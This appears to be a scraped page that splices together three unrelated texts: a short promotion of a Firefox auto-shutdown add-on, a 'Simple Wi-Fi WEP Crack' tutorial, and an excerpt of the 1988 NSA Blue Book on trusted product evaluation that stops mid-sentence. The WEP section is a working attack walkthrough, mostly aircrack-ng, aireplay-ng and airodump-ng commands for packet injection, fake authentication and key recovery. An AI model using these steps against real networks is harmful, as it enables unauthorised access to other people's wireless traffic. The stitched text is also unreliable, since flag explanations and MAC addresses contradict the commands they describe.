How to Shutdown Computer automatically Using Firefox Auto Shutdown Add-on

4222061665 632c48d187 o How to Shutdown Computer automatically Using Firefox Auto Shutdown Add onFirefox is the top most world widely used web browser. Because it is handy and have lots of features though its add-on and extension. Sometimes we download files using Firefox and on the same time we need to go for some work. So until we come back the computer waste the energy. In this situation we can use Firefox Auto shutdown the computer when downloads are completed and helps us to save electric power.

4222067729 241056e744 How to Shutdown Computer automatically Using Firefox Auto Shutdown Add on

Auto Shutdown is a cool Firefox add-on which controls your active download and shut down the computer when downloads are completed through is auto executing user script. Not only this but if Firefox is running idle it also shut downs the pc 4222074655 e22c0502ae o How to Shutdown Computer automatically Using Firefox Auto Shutdown Add onautomatically with pre defined shut down time.

If you are using Downthemall Firefox extension for downloading movies, video, music and images from web then you can easily integrate Auto shutdown Firefox extension with downthemall add-on.

Download Auto shutdown Firefox Add-on

Simple Wi-Fi WEP Crack



To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.
Equipments used
Wifi Adaptor : Alfa AWUS036H (available on eBay & Amazon)
Software : Backtrack 4 (Free download from

Step 1 – Start the wireless interface in monitor mode on AP channel

airmon-ng start wlan1 6
starts wifi interface in channel 6

Step 2 – Test Wireless Device Packet Injection

aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E  wlan1
-9 means injection
-a 00:1B:11:24:27:2E is the access point MAC address

Step 3 – Start airodump-ng to capture the IVs

airodump-ng -c 6 –bssid 00:1B:11:24:27:2E -w output wlan1

Step 4 – Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.
aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
-1 means fake authentication
0 reassociation timing in seconds
-e infosec is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
-h 00:0F:B5:88:AC:82 is our card MAC address
aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
2 – Reauthenticate every 2 seconds.
-o 1 – Send only one set of packets at a time. Default is multiple and this confuses some APs.
-q 10 – Send keep alive packets every 10 seconds.
Troubleshooting Tips

Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. If you suspect this is the problem, use the following command while trying to do fake authentication. Start another session and…
Run:tcpdump -n -vvv -s0 -e -i | grep -i -E ”(RA:|Authentication|ssoc)”

You would then look for error messages.
If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…
Run: “tcpdump -n -e -s0 -vvv -i wlan1”

Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station
Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.
If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i wlan1 | grep -i DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.

Step 5 – Start aireplay-ng in ARP request replay mode

aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

Step 6 – Run aircrack-ng to obtain the WEP key

aircrack-ng -b 00:1B:11:24:27:2E output*.cap
All Done! icon smile Simple Wi Fi WEP Crack [TUTORIAL]

The Blue Book: Procedures for Interacting with the NSA’s Information Security Organization (March 1, 1988)

					NCSC -TG-002<DJ0>
			 		Library No. S-228,538
					Version 1


The National Computer Security Center has established an aggressive program to
study and implement computer security technology, and to encourage the
widespread availability of trusted computer products for use by any
organization desiring better protection of their important data. The Trusted
Product Evaluation Program focuses on the security evaluation of commercially
produced and supported computer systems by evaluating the technical protection
capabilities against the established criteria presented in the Trusted
Computer System Evaluation Criteria. This program, and the open and
cooperative business relationship being forged with the computer and
telecommunications industries, will result in the fulfillment of our country's
computer security requirements.  We are resolved to meet the challenge of
identifying trusted computer products suitable for use in processing sensitive
information.  A key service of the National Computer Security Center to the
computer security community is to act as a clearinghouse for computer security
issues and to develop technical security guidelines for automatic data
processing systems and networks.  This technical information exchange provides
guidance and interpretations for the security evaluation process and offers
the vendors a central point for technical exchange.

PATRICK R.  GALLAGHER, JR.  				1 March 1988


This publication describes procedures for interacting with the National
Security Agency's Information Security Organization as related to the Trusted
Product Evaluation Program within the National Computer Security Center. It
provides the information needed to submit a computer product for technical
security evaluation and outlines the National Security Agency's
responsibilities for positive, timely acknowledgements. This publication
specifically covers the National Computer Security Center's relationship with
vendors of proposed trusted computer products from the initial contact with
the vendor through the completion of the security evaluation process and
follow-on programs.  Although more detailed instructions will be referenced in
this publication, sufficient guidelines are established for any first-time
user of the National Computer Security Center's services.  The Office of
Industrial Relations invites your comments on this document and on the
National Computer Security Center's procedures for conducting security
evaluations of computer products.  In cooperation with the computer industry,
we can improve our national security through the availability of trusted
computer products.  


In January 1981 the Director of the National Security Agency was assigned the
responsibility for computer security for the Department of Defense.  This
action led to the formation of the Computer Security Center at the National
Security Agency. The Computer Security Center's Charter, promulgated in
Department of Defense Directive 5215.1 in October 1982, specifically tasks the
Computer Security Center to establish and maintain "...  technical standards
and criteria for the security evaluation of trusted computer systems that can
be incorporated readily into the Department of Defense component life-cycle
management process..." The developmental experiments in the 1970's ranged from
attempts to add security front-ends to existing systems to designing secure
systems and hardware from scratch.  Early research and development efforts
defined a graduated scale of security features and design principles. These
features and principles were incorporated in the Department of Defense Trusted
Computer System Evaluation Criteria (Orange Book).  The Orange Book was issued
in August 1983.  In December 1985, the Orange Book was reissued as a
Department of Defense Standard (DOD 5200.28-STD).  The National Computer
Security Center (the Center) responds to a growing need for, and recognizes
technical challenges involved in, providing effective protection within
computer systems and networks of systems. The Center relies on an open and
cooperative relationship with government, industry representatives, and the
academic community to accomplish these important objectives. The government
encourages industry to provide the computer security capabilities government
needs. The Center sponsors critical research, and makes the results widely
available to encourage their incorporation into trusted computer products and
secure applications. The Center performs security evaluations of computer
software and hardware products on commercially or government-produced computer
systems.  A trusted computer system is defined as a system that employs
sufficient hardware and software integrity measures to allow its use to
simultaneously process a range of sensitive unclassified or classified (e.
g., confidential through top secret) information for a diverse set of users
without violating access privileges.  Levels of trust are based on the ability
of the computer system to enforce access privileges to authorized users and to
system protected files.  The Center evaluates the security features of trusted
products against established technical standards and criteria, and maintains
the Evaluated Products List.  The Evaluated Products List is a compilation of
all computer products which have undergone formal security evaluations, and
indicates the relative security merit of each computer product.  The criteria
against which computer systems are evaluated is the Orange Book. This provides
a metric for distinguishing a range of features and assurances for security
controls built into automatic data processing system products.  The Orange
Book establishes specific requirements that a computer system must meet in
order to achieve a specific level of trustworthiness.  The levels are arranged
hierarchically into four major divisions of protection, each with certain
security-relevant characteristics.  These divisions are subdivided into levels
of trust.  In recognition of the complex and technical nature of the issues
addressed by the Orange Book, the Center has established a Technical
Guidelines Program.  This program augments information provided in the Orange
Book by publishing additional guidance on issues and features addressed


This section provides the potential computer product vendor with an overview
of the Center's Trusted Product Evaluation Program.  The process of a trusted
product evaluation is illustrated in Figure One.  The Pre-Evaluation Review
includes the initial contact between the vendor and the National Security
Agency, the decision-making process to initiate, and the signing of a
Memorandum of Understanding.  Note: subsystem products do not require a
Memorandum of Understanding but are initiated with a Memorandum of Agreement.
The Trusted Product Developmental Process provides the vendor the opportunity
to obtain assistance from the Center during the development of a system or
network product.  The formal product evaluation consists of the actual
security evaluation of the vendor's computer system.  Successful completion of
this process results in the vendor's computer product being placed on the
Evaluated Products List.  


Five milestones in the application process must be reached before the security
evaluation of a proposed computer product can begin.  
	 1.  Initial Contact
	 2.  Certificate Pertaining to Foreign Interests
	 3.  Proposal Package
	 4.  Program Decision
	 5.  Memorandum of Understanding (Memorandum of
	     Agreement for Subsystems)


The National Security Agency point of contact for the Trusted Product
Evaluation Program is the Office of Industrial Relations.  Interested
companies are encouraged to call or write to: 

		Director, National Security Agency
		Attention: Office of Industrial Relations
		9800 Savage Road 
		Fort George G. Meade, Maryland 20755-6000
		(301) 688-6581


Before submitting an application for the Trusted Product Evaluation Program,
the Center requires that all companies submit a completed Certificate
Pertaining to Foreign Interests prior to undertaking the additional effort to
prepare a proposal package.  For those companies that already have a facility
security clearance, a current DD Form 441s may be sent in lieu of the
Certificate Pertaining to Foreign Interests.  Please submit the certificate or
DD Form 441s to the Office of Industrial Relations, as listed above.


After contact has been established, the vendor must prepare a proposal package
in accordance with the following guidance. Four copies of the proposal package
are required.  

This point cannot be over emphasized; information marked Company Proprietary
is protected to the fullest extent permitted under the law, and must be marked
accordingly.  The product proposal package should demonstrate corporate-level
support for the product evaluation effort and consist of a company profile,
market information and a written product proposal.


	Potential computer security product vendors, whether requesting a
	system, a network, or a subsystem evaluation, must establish a
	formal working relationship with the Center. Vendors are encouraged
	to submit as much detailed documentation as necessary to establish
	their capability and suitability for the Trusted Product Evaluation
	Program. The company profile portion of the submission shall include
	at least the following information: 

	Company name and address.  

	State of incorporation and composition of ownership.  

	Principal point of contact, a technical point of contact, and a
	public point of contact.  For each, include name and title, business
	address, and business telephone.  Public point of contact names will
	be placed on a list that can be provided to any requestor desiring
	to establish a business connection with your company.  

	Product or services offered.  This could be supplemented with a
	company capabilities brochure.  

	A recent annual or certified financial report.

	Number of people employed by the company, and in the case of a
	system or network product, the projected size of the team which will
	be developing, enhancing and/or maintaining the proposed product.


To evaluate the requirements for any proposed product, the vendor must provide
sufficient detail to identify the utility in the market place.  The
information below covers the minimum market information the Center requires to
assess the probable need in the community.  The market information portion of
the proposal package shall identify:

     Intended market by product type and level of trust, including a specific
     customer base and/or firmly established requirements.

     Portion of markets intended to address.  How the specific market
     projections were derived.  In cases where the product to be developed is
     a retrofit to existing equipment, include the potential volumne of sales
     for those existing equipments that are already fielded.

     Known or projected U.S.  Government requirements that the product will
     satisfy.  Distinguish between DOD and Civil Agency.

     Known or projected commercial requirements that the product will satisfy.


A separate proposal is required for each computer product submitted for
security evaluation.  These products must be of direct and obvious benefit to
the information security posture of the nation, and should address the
applicable requirements outlined in established criteria or interpretations.
This determination will be based on the information contained in the product
proposal, measured against national computer security needs and priorities.

The Center presently conducts three distinct types of product evaluations: 1)
the system evaluation, 2) the network evaluation, and 3) the subsystem

Proposals For System Evaluations

The Center evaluates as a system that product which
addresses all of the requirements of a given class of the Orange Book.

Although complete information about the proposed product may not
be available at this stage of the design, the written product proposal should
provide the following information:

	Technical description of the product.  

	What is the targeted class or level of trust?  

	What is the operating system for your product?  

	Is the proposed product currently in use?  If so, what is the
	current installed base?

	What is the projected installed base over the nextve years?  

	What is the target development schedule?  How flexible is this
	schedule and by what date do you plan to bring this product to

	What are the known or projected requirements that the product will
	satisfy?  (Distinguish between the Department of Defense and Civil

	What are the differences between and advantages of the proposed
	product relative to similar products which are currently available?

Proposals For Network Evaluations

          The Center defines a network as everything that is needed to
          accomplish a job, end user to end user.  The Center defines a
          network component as any part of a network.  

          The Trusted Network Interpretation of The Trusted Computer System
          Evaluation Criteria (TNI) is currently the criteria against which
          networks are evaluated.

          Written product proposals should provide the following information:

           A technical description of the product.  

           What is the underlying security policy of the product?  

           What level of protection is provided by the product?  

           What is the projected schedule for development?

           What are the environments for which the product is intended?
           Include an overall description of the product.  Compare it to
           another product currently available if possible.  

           Does your product interact with users directly?  If so, does it
           provide all of the functionality identified at one of the criteria
           levels in Part I of the TNI, or only a subset?  

           If it is a network system, what level of trust does it meet
           according to Part I of the TNI?  

           If it is a network component, which of the following
           functionalities does it provide, and at which level of trust is
           each functionality provided?  

           Mandatory Access Control 

           Discretionary Access Control

           Identification and Authenication

           What other security services mentioned in Part II of the TNI does
           your product provide?  

           What type of carrier medium, if any, is used or supported
           by your product?  

Proposals For Subsystem Evaluations

The Center defines a computer security subsystem as a physical device or
software mechanism which is added to a computer system to enhance the computer
security functionality of the overall system.  

To be considered for a subsystem evaluation, a company must have an existing
product which is designed to provide one or more of the following
capabilities, as described in the Trusted Computer System Evaluation Criteria:

	1) mandatory access control;

	2) audit; 

	3) discretionary access control;

	4) identification and authentication; or.

	5) object re-use. 

Written product proposals should provide the following information:

	A technical description of the product.  

	Which of the five subsystem functionalities does the product

	What is the current installed base?  What is the projected installed
	base over the next five years?  

	What is the current or projected market for your product (to include
	specific customer base and/or firmly established requirements, if
	possible)? What portion of this market do you intend to address?
	How were the specific market projections derived?  

	What are the known or projected requirements that the product will
	satisfy?  (Distinguish between the Department of Defense and Civil

	What are the differences between and advantages of the proposed
	product relative to similar products which are currently available?


Upon receipt of the company's proposal package, the Office of Industrial
Relations will send the company written notification that the package has been
received and is under consideration.  The proposal will be reviewed to
determine its value while assessing the capabilities of the company, the
utility of the product to the Federal Government, and the degree to which the
product addresses the technical aspects of computer security.  The
availability of adequate Center resources to support the evaluation program is
also a prime consideration in the program decision.  The Center may need to
meet with the vendor's technical experts to ensure decision making processes
are based on sound technical understanding of the product.  When a decision is
reached, the Office of Industrial Relations will notify the vendor in writing
whether the product has been accepted for evaluation.  System and network
evaluations will enter into the Trusted Product Developmental Process as
described below.  Subsystem evaluations enter directly into the formal


If a package for a system or network product is accepted, a Memorandum of
Understanding is executed between the vendor and the National Security Agency.
The purpose and function of the Memorandum of Understanding is to establish a
legal relationship between the National Security Agency and the potential
vendor in which: 

	The National Security Agency agrees to provide necessary and
	relevant computer security information and guidance to the potential

	The vendor agrees to provide the National Security Agency the
	information necessary to assess the security of the proposed

	The vendor agrees to follow the intent and requirements of the
	procedures leading to a system, network or subsystem evaluation.

	The National Security Agency agrees to protect vendor proprietary
	information which is provided under the Memorandum of Understanding.

	Both parties agree to review the continuation and terms of the
	Memorandum of Understanding periodically.

A program manager within the Requirements and Resources Division at the Center
will be assigned to monitor and coordinate technical and/or administrative
responses to the vendor, and a technical point of contact within the Product
Evaluation Division will be identified to the vendor.  To determine the
division and class at which all requirements are met by a computer system, the
system must be evaluated against the Orange Book.  This security evaluation
will be conducted by a Center evaluation team.


The primary thrust of this phase is an in-depth examination of a
vendor's design either for a new trusted product (system or network) or for
security enhancements to an existing product.It is intended to ensure that the
product is actually ready for evaluation with all necessary evidence available
so the evaluation can be completed without delays for additional development
or evidence generation.  This phase is based primarily on design documentation
and information supplied by the vendor, and it involves little or no "hands
on" use of the product.  

This phase results in the production of an Initial Product Assessment Report.
This report documents the evaluation team's understanding of the system based
on the information presented by the vendor, and assigns a candidate Orange
Book class rating to the system.  The candidate rating is an estimate of the
highest class for which the product has displayed some evidence for each of
the requirements in the Orange Book.  

The Center's Technical Review Board provides a consistency check on the
application of the Orange Book requirements, and ensures the product is ready
for evaluation.  Because the Initial Product Assessment Report does not
represent a complete analysis of the computer product and may contain
proprietary information, distribution is restricted to the respective vendor
and the Center.


To enter this formal evaluation phase, the design of a computer system must be
finalized and marketable.  In addition, the product release being evaluated
must not undergo any additional development.  Once the product is accepted for
evaluation, a Memorandum of Agreement is signed between the Center and the
vendor, to address the formal aspects of the product receiving an Evaluated
Products List rating and the accompanying responsibilities.

At the start of this phase, a Product Bulletin is released by the enter
announcing the evaluation. The Product Bulletin is a brief description of the
computer system undergoing security evaluation, and includes the candidate
rating of the system.

The evaluation phase is a detailed analysis of the hardware and software
components of a system, all system documentation, and a mapping of the
security features and assurances to the Orange Book.  The analysis performed
during this phase requires "hands on" testing (i.e., functional testing and,
if applicable, penetration testing).

The evaluation phase leads to the Center publishing a Final Evaluation Report
and an Evaluated Products List entry. The Final Evaluation Report is a summary
of the security evaluation and includes the Evaluated Products List rating,
which is the final class at which the product successfully met all Orange Book
requirements in terms of both security features and assurances. The Final
Evaluation Report and the Evaluated Products List entry are made public.  The
evaluation process represents a firm commitment from the vendor, and at its
completion the product will receive a rating from the Center.


While the Center devotes much of its resources to encouraging the production
and use of multipurpose trusted computer systems, there is a recognized need
for guidance on, and security evaluation of, supplementary computer security
products. These subsystems may not meet all of the security feature,
architecture, or assurance requirements of any one security class or level of
the Orange Book. To meet this need, the Center has established the subsystem
evaluation process.

The goal of the Center's subsystem evaluations is to provide computer
installation managers with information on subsystems that would be helpful in
providing immediate computer security improvements in existing installations.
Once a subsystem product is accepted for evaluation, a Memorandum of Agreement
is signed between the Center and the vendor, addressing the formal aspects of
the product being included in the Evaluated Products List and the accompanying

Subsystems are special-purpose products which can be added to existing
computer systems to increase some aspect of security and have the potential of
meeting automatic data processing security needs. For the most part, the scope
of a subsystem evaluation is limited to consideration of the subsystem itself,
and does not address or attempt to rate the overall security of the processing
environment or computer system on which the subsystem may be implemented. To
promote consistency in evaluations, an attempt is made to assess a subsystem's
security-relevant performance in light of applicable standards and features
outlined in the Orange Book. In addition, the evaluation team reviews the
vendor's claims and documentation for obvious flaws which would violate the
product's security features, and verifies, through functional testing, that
the computer product performs as advertised. Upon completion, a summary of the
Final Evaluation Report will be placed on the Evaluated Products List.

The Final Evaluation Report will not assign a specific rating to the computer
product, but will provide an assessment of the product's effectiveness and
usefulness in increasing computer security.  The Final Evaluation Report and
the Evaluated Products List entry are made public.


The Evaluated Products List provides computer users, managers and security
officials, an authoritative and unbiased security evaluation of a computer
system's suitability for use in processing classified and sensitive
information. All products on the Evaluated Products List have been evaluated
against the established criteria and interpretations. A Final Evaluation
Report is issued for all products.  The rating given to a system product is
the highest class for which all the requirements in the Orange Book have been
met.  Trusted product security evaluation results are published in formal
reports available from either the Government Printing Office or the National
Technical Information Service.  

The overall evaluation class ratings given in the Evaluated Products List
apply only to the specific hardware/software configurations listed.  As such,
the rating indicates that the product met or exceeded each of the individual
requirements for the overall Evaluation Class.  Although the computer product
was subjected to the detailed security testing specified in the Orange Book,
it must be emphasized that such testing is not sufficient to guarantee the
absence of flaws in the product.  The Evaluated Products List entry does not
constitute a general or overall endorsement of the product by the government,
nor does it constitute a Department of Defense certification or accreditation
of the trusted computer product for use in classified or sensitive
unclassified processing environments.  Rather, the security evaluation
provides an essential part of the technical evidence required for follow on
certification and accreditation.  Ultimate responsibility for the continuing
integrity provided by the security mechanisms of any trusted computer product
evaluated by the Center rests solely with the vendor. The Evaluated Products
List, which documents evaluated computer products, is available to vendors to
actively market and advertise the overall evaluation class rating achieved by
their products to procurement authorities and the general public.  

The Evaluated Products List contains entries for general-purpose operating
systems, add-on packages, and subsystems. Product Bulletins, which are
synopses of computer systems currently undergoing formal security evaluations
by the Center, are also included on the Evaluated Products List.  

A hard copy of the Evaluated Products List is included in the Information
Systems Security Products and Services Catalogue.  This catalogue is updated
quarterly and is available through the Government Printing Office.


The Ratings Maintenance Phase provides a mechanism to ensure the validity of a
previous rating for a new version of an evaluated computer system product.  As
enhancements are made to the computer product the Ratings Maintenance Phase
ensures that the level of trust is not degraded. A complete re-evaluation is
required to achieve a higher rating.  

The Ratings Maintenance Phase is designed to keep the Evaluated Products List
current.  This is accomplished by using the personnel involved in the
maintenance of the product to manage the change process and reduce the effort
required to extend the rating.

Success of the Ratings Maintenance Phase depends upon the development of a
cadre of vendor personnel with a strong technical knowledge of computer
security and of their computer product.  These trained personnel will oversee
the vendor's computer product modification process.  They will certify to the
Center that any modifications or enhancements applied to the product will
preserve the security mechanisms and maintan the assurances.

The Ratings Maintenance Phase is initially designed for C1 - B1 level of trust
systems.  As experience is gained in the program, the intent is to extend to
higher level systems and to networks.


The Center supports the trusted product security evaluation process within the
Trusted Product Evaluation Program.  The following specialized technical
services are available to benefit the interactive relationship between the
computer product vendors and the technical staff of the Center. To obtain
these services or to gain more insight into their particular detail, refer to
the Points of Contact section.


     DOCKMASTER is an unclassified computer system used by the Center for the
     nationwide dissemination and exchange of computer security information.
     DOCKMASTER serves the entire information security community including the
     Federal Government, universities, and private industry. It can distribute
     electronic mail via connections to the ARPANET.  DOCKMASTER is accessible
     by direct dial, the MILNET, and McDonnell Douglas Tymnet network.

     DOCKMASTER is the primary means of communications between the vendor and
     the Center throughout the computer product security evaluation process.
     It allows vendors to use electronic mail, file transfer protocols, and
     the Forum subsystem.  Forum is an on-line, interactive meeting facility
     that permits an individual to "meet" with other users through the use of
     a computer terminal.


     Vendors who are developing systems that are targeted to meet the
     class A1 requirements of the Orange Book must provide assurance that the
     system implementation is consistent with the system's design.  This
     assurance is gained by developing a Formal Top Level Specification of the
     design and verifying that the specifications are consistent with the
     formal security policy model (the security requirements) for the system.
     After the design verification has been completed, an informal mapping is
     performed from the Formal Top Level Specification to the implementation.
     This completes the evidence.  Formal Top Level Specification development
     and subsequent verification is a rigorous, mathematical process that can
     be greatly aided by the use of automated verification tools.  The Orange
     Book requires the use of such a tool in the verification of A1 systems:
     "This verification evidence shall be consistent with that provided within
     the state-of-the-art of the particular Center endorsed formal
     specification and verification system used."

     The Center endorsed verification tools are maintained on the
     Endorsed Tools List.  Examples of these verification tools are Formal
     Development Methodology, Gypsy, and Enhanced Hierarchical Development
     Methodology.  For information concerning the current entries on the
     Endorsed Tools List, vendors should contact the Computer Hardware and
     Software Support Division.


To complement the information contained in the Orange Book, the Center
publishes technical guidelines which serve as additional guidance in
interpreting the established standard.  These technical guidelines aid in the
evaluation and selection of computer security products, both complete systems
and subsystems.  In addition, they are used throughout the Federal Government
and by Federal Government contractors as guidance for the procurement, use,
and disposal of automation systems and their associated magnetic storage

The Technical Guidelines Program contributes to the technical literature on
issues of computer security. Guidelines are written in response to
demonstrated need in automated processing environments.

Participation in the development of technical guidelines is provided by the
technical staff of the Center and its associated offices within the National
Security Agency, by representatives of the Department of Defense and the
Intelligence Community, by civil agencies of the Federal Government, by
Federally Funded Research and Development Centers, by contracted analytic and
technical firms, and by selected experts in the particular field of endeavor.
Draft versions of proposed documents are extensively reviewed by a wide
audience of interests, and comments are fielded for consideration before


Technical guidelines that are published by the Center, and useful to a vendor
in order to process a computer product through the Trusted Product Evaluation
Program, will be provided in limited quantity by the INFOSEC Awareness


The Center provides training on topics of major importance to vendors
interested in the trusted product security evaluation process.


Within the Information Security Organization, there are several separate but
complementary programs which relate to the Trusted Product Evaluation Program.
A brief description of each program is provided in subsequent paragraphs.  For
more details, please contact the specific program office in the Points of
Contact list.

Like the Trusted Product Evaluation Program, the Commercial Communications
Security Endorsement Program is a business relationship which combines private
sector leadership and expertise in equipment design, development and high
volume production with the information security expertise of the National
Security Agency. Specifically, this program is designed to encourage industry
to embed United States Government proprietary cryptography into
telecommunications products to meet the need to protect its classified and
sensitive unclassified information. The Commercial Communications Security
Endorsement Program products that are endorsed for protecting sensitive
unclassified government information only are also available to the private
sector. In today's computer networking environment, many products require both
an encryption capability and a trusted computing base to meet user
requirements. Companies whose products merge both communications and computer
security disciplines are encouraged to become familiar with the requirements
of the Commercial Communications Security Endorsement Program.

The Secure Data Network System Program was established in August 1986, when
the National Security Agency joined in partnership with ten major
telecommunications and computer companies to develop a security architecture
and a user-friendly key management system using the Open Systems
Interconnection model.  The ultimate goal of the Secure Data Network System
Program is to provide for the development of information security products
that can operate over a broad range of commercial data networks.  Once the
Secure Data Network System architecture is formalized, the development of
Secure Data Network System products will be carried out under the auspices of
the Commercial Communications Security Endorsement Program.

The Industrial TEMPEST Program is designed to aid industry in developing and
testing TEMPEST-suppressed equipment which can be offered for sale to the
United States Government.  Companies developing trusted computing products
should be aware that the United States Government may require that products
protecting classified information be TEMPEST-suppressed.  

A company that produces computer security products may be interested in the
Department of Treasury's Electronic Funds Transfer Certification Program if
the primary function of its product is to provide message authentication in
support of United States Government financial transactions.  The program
specifically provides for testing, evaluating and certifying Message
Authentication Code devices for Federal electronic funds transfer use in
accordance with American National Standards Institute Standard X9.9.  In
addition, elements of Federal Standard 1027 covering minimum general security
requirements for implementing the Data Encryption Standard encryption
algorithm are included.  Optional electronic key management is based on
American National Standards Institute Standard X9.17.

Vendors who are developing trusted computer products as Independent Research
and Development Projects may obtain technical assistance and technical plan
evaluations by contacting the Center's Office of Computer Security Research
and Development.

The Computer Security Technical Vulnerability Reporting Program, promulgated
in Department of Defense Instruction 5215.2 in September 1986, provides a
mechanism for reporting weaknesses or design deficiencies in hardware,
firmware, or software that leave automated information systems open to
potential exploitation.  Technical vulnerabilities reported in Evaluated
Products List items could possibly change the overall rating of the product.

			Points of Contact


		Director, National Security Agency
		Attention: Office of Industrial Relations
		9800 Savage Road
		Fort George G.Meade, MD 20755-6000 
		(301) 688-6581 

		Director,National Security Agency
		Attention: Office of Industrial Relations
		9800 Savage Road
		Fort George G.Meade, MD 20755-6000 
		(301) 688-6581 

		Director,National Security Agency
		Attention: Vulnerability Reporting Program
		9800 Savage Road 
		Fort George G.  Meade, MD 20755-6000
		(301) 688-6079

		Assistant Director, Security Programs 
		Department of Treasury
		15th and Pennsylvania Avenue NW 
		Washington, DC 20220
		(202) 566-5152

		National Computer Security Center 
		Attention: Computer Hardware and Software Support Division
		9800 Savage Road
		Fort George G.  Meade, MD 20755-6000
		(301) 859-4360

		National Computer Security Center
		Attention: Office of Computer Security Research and 
		9800 Savage Road
		Fort George G.Meade, MD 20755-6000
		(301) 859-4486

		Ford Aerospace and Communications Corporation
		Attention: Mail Stop 3 (Industrial TEMPEST Program)
		7170 Standard Drive
		Hanover, MD 21076
		(301) 796-5254

		Superintendent of Documents
		U.S.  Government Printing Office
		ashington, DC 20402
		(202) 783-3238 

		U.S.  Department of Commerce
		National Technical Information Service
		5285 Port Royal Road 
		Springfield, VA 22161
		(703) 487-4650

		Director, National Security Agency
		Attention: Secure Data Network Systems SPO
		9800 Savage Road
		Fort George G.  Meade, MD 20755-6000

		National Computer Security Center
		Attention: Technical Guidelines Division
		9800 Savage Road
		Fort George G.  Meade, MD 20755-6000


DoD 3204.1, Independent Research and Development, Under Secretary of Defense
for Research and Engineering, 1 December 1983.

DoD Directive 5200.28, Security Requirements for Automatic Data Processing
(ADP) Systems, revised April 1978.

DoD 5200.28-STD, Department of Defense Standard, Department of Defense Trusted
Computer System Evaluation Criteria, December 1985; supersedes CSC-STD-001,
dated 15 August 1983.

DoD Directive 5215.1, Computer Security Evaluation Center, 25 October 1982.

DoD Instruction 5215.2, Computer Security Technical Vulnerability Reporting
Program, 2 September 1986.

National Telecommunications and Information System Security Policy No.  200,
National Policy on Controlled Access Protection Policy, 15 July 1987.

NCSC-TG-005 Version 1, Trusted Network Interpretation of The Trusted Computer
System Evaluation Criteria, 31 July 1987.



When a vendor enters into a product evaluation, he must present evidence that
his system and its design meets the appropriate criteria requirements.
Examples of the type of evidence normally submitted to support an evaluation
include the design specifications that explain the security mechanisms, the
Trusted Computing Base (TCB) arguments that show how the TCB is tamperproof,
always invoked and small enough to be analyzed.  Also, the model (or
philosophy of protection) and how it relates to the implementation are
important parts of the evidence.  The best test of evidence is that it must
include all the information such that a new team that is basically unfamiliar
with the product could evaluate only the evidence and reach the proper

In order for the evaluation team to review this evidence and determine whether
the system complies with these requirements, the team must develop a
conceptual understanding of how the system being evaluated operates.
Generally, the evaluation team can acquire this level of understanding by
reviewing the vendor's system documentation and specifications.  The following
types of high level system documents are typically required by the evaluation

	User-Level Documentation

	Provides users an overview of the system, its functioning, and
	information on user services.  

	Operational Manuals

	Contains general description,implementation and usage information
	for the system.  It is intended for use by system programmers who
	service the system.  

	Program Logic Manuals

	Documents the internal operation and organization of a system.  It
	is intended for use by system programmers for program maintenance
	and to determine the location of program malfunctions.  

	Administrative Manuals

	Documents the procedures for installing and generating the system.  

	Hardware and Software System Specifications

	Includes Hardware and Software design and implementation details of
	the system major components



The Department of Defense Trusted Computer System Evaluation Criteria (Orange
Book) requires that vendors provide a document to the evaluators that
describes the test plan, test procedures, and the results of the security
mechanisms functional testing.  Security mechanisms are those mechanisms that
are relevant to the Orange Book.  These include object reuse, labeling,
discretionary access control (DAC), mandatory access control (MAC),
identification and authentication, auditing, and trusted path.  A security
related functional test plan should determine whether the system being
evaluated has any design and implementation flaws that would permit a subject
external to the Trusted Computing Base (TCB) to read, change, or delete data
which he would not normally have access to under the mandatory or
discretionary security policy enforced by the TCB.  [The TCB is defined by the
TCSEC as "the totality of protection mechanisms within a computer system --
including hardware, firmware, and software --the combination of which is
responsible for enforcing a security policy"].  Security related functional
tests involve all security properties of a system (i.e., all aspect of the TCB
that affect or can be affected by a security mechanism).


Although many standard testing methods are acceptable in fulfilling the Orange
Book testing requirements, they are, for all but very small or simplistic
systems, impractical to use due to the large amount of resources required.
Some methods of testing that have in the past proven to be sufficient and were
reasonable to implement are Interface and Mechanism testing.  

Interface testing refers to testing the TCB at the user interface (i.e., user
callable routines).  Generally, critical boundaries of each security mechanism
are determined and test cases on both sides of these boundaries are generated.
The critical boundary of a security mechanism is the point at which the rule
it is designed to implement is or is not invoked.  This provides more
assurance that the view of the system presented to a user is correct.

Mechanism testing refers to the testing of the security mechanisms that the
TCB supports (i.e., DAC , object reuse, audit, etc.).  Mechanism can consist
of one or more interface, and some interfaces can be called by different
mechanisms.  Mechanism testing shows that the TCB supports these mechanisms.
The sufficiency of the different methods of testing are dependent on the
particular class of the Orange Book the system is being evaluated against.


TCB interface testing is sufficient.  Every interface must be tested.  Since
B2, B3 or A1 systems are well structured, and their Detailed Top Level
Specifications (DTLS) and Formal Top Level Specifications (FTLS) provide a
complete and accurate description of the TCB interface, the testing of the TCB
interfaces can reasonably be expected to be very comprehensive.


Mechanism testing is probably sufficient.  The structure allowed by a C1-B1
